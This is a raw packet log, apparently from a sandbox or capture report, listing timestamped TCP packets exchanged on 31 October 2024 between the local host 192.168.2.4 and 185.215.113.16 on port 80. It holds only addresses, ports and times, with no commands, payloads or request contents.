Oct 31, 2024 20:52:46.431132078 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431148052 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.431154013 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431180000 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.431202888 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436317921 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436331034 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436342001 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436369896 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436409950 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436422110 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436433077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436455011 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436470032 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436522007 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436537981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436548948 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436561108 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436573982 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436584949 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.436590910 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436614990 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.436639071 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.527309895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527333021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527353048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527364969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527376890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527390003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.527406931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.527465105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528100014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528125048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528139114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528171062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528179884 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528198004 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528283119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528295040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528306007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528317928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528333902 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528340101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528352022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528352022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528363943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528399944 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528537035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528548956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528559923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528572083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528583050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528594017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528594971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528606892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528614044 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528619051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528635025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528654099 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528676987 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528680086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528692007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528704882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528721094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528727055 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528733969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528770924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528815031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528826952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528836966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528848886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528860092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528872013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528912067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.528955936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528966904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528978109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.528989077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529000044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529011965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529028893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529052019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529738903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529824018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529835939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529865026 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529879093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529889107 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529891014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529903889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529922009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529925108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529934883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529947996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.529973984 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.529998064 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530092955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530105114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530114889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530126095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530137062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530143023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530153990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530167103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530167103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530185938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530240059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530251980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530267954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530272961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530288935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530301094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530309916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530313015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530334949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530889988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530910969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530922890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.530960083 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.530996084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531006098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531017065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531028032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531039953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531054020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531074047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531192064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531203032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531213999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531225920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531227112 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531238079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531250000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531255007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531267881 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531276941 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531279087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531291962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531294107 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531303883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531322956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531328917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531335115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531351089 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531786919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531799078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531810999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531845093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531852007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531864882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531877041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531889915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531897068 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.531900883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.531933069 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532133102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532144070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532154083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532166004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532183886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532193899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532206059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532207966 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532218933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532223940 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532233000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532243967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532246113 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532269955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532777071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532871008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532881975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.532908916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.532932997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533016920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533029079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533041000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533052921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533062935 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533071041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533082008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533090115 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533092976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533106089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533118010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533124924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533128977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533140898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533152103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533153057 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533164024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533169031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533175945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533189058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533190966 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533221960 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533680916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533746004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533756971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533791065 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533808947 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533811092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533823013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533834934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533848047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533869028 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533893108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533934116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533948898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533961058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533972025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.533982038 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.533983946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534003019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534008980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534015894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534027100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534038067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534049034 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534049034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534064054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534075022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534089088 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534723997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534765005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534769058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534776926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534842968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534854889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534876108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534905910 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.534966946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534977913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.534989119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535010099 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535121918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535132885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535145044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535156012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535157919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535168886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535173893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535181999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535198927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535209894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535216093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535222054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535233021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535243034 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535250902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535259008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535263062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535274982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535284996 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535286903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535322905 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535619020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535685062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535696030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535706997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535712957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535728931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535759926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535768032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535779953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535790920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535803080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535815001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535815954 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535832882 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.535984039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.535995007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536012888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536024094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536035061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536035061 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.536050081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536062002 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.536066055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536077023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.536077023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.536102057 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550548077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550596952 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550609112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550626040 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550637960 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550657034 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550683975 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550688982 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550693989 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550709963 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550720930 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550730944 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550749063 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550755024 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550770044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550789118 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550857067 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550898075 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550905943 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550916910 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550926924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.550956964 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.550987005 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551023960 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551074982 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551090002 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551100969 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551111937 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551134109 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551160097 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551213026 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551273108 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551282883 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551294088 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551325083 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551336050 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551347017 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551351070 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551393986 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551454067 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551470995 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551511049 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.551521063 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551531076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551541090 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.551583052 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.576798916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.597429037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.597460985 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.597470999 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.597485065 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.597524881 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.597851038 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.597903013 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.597915888 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598001957 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598011971 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598016024 CET	49784	80	192.168.2.4	185.215.113.16
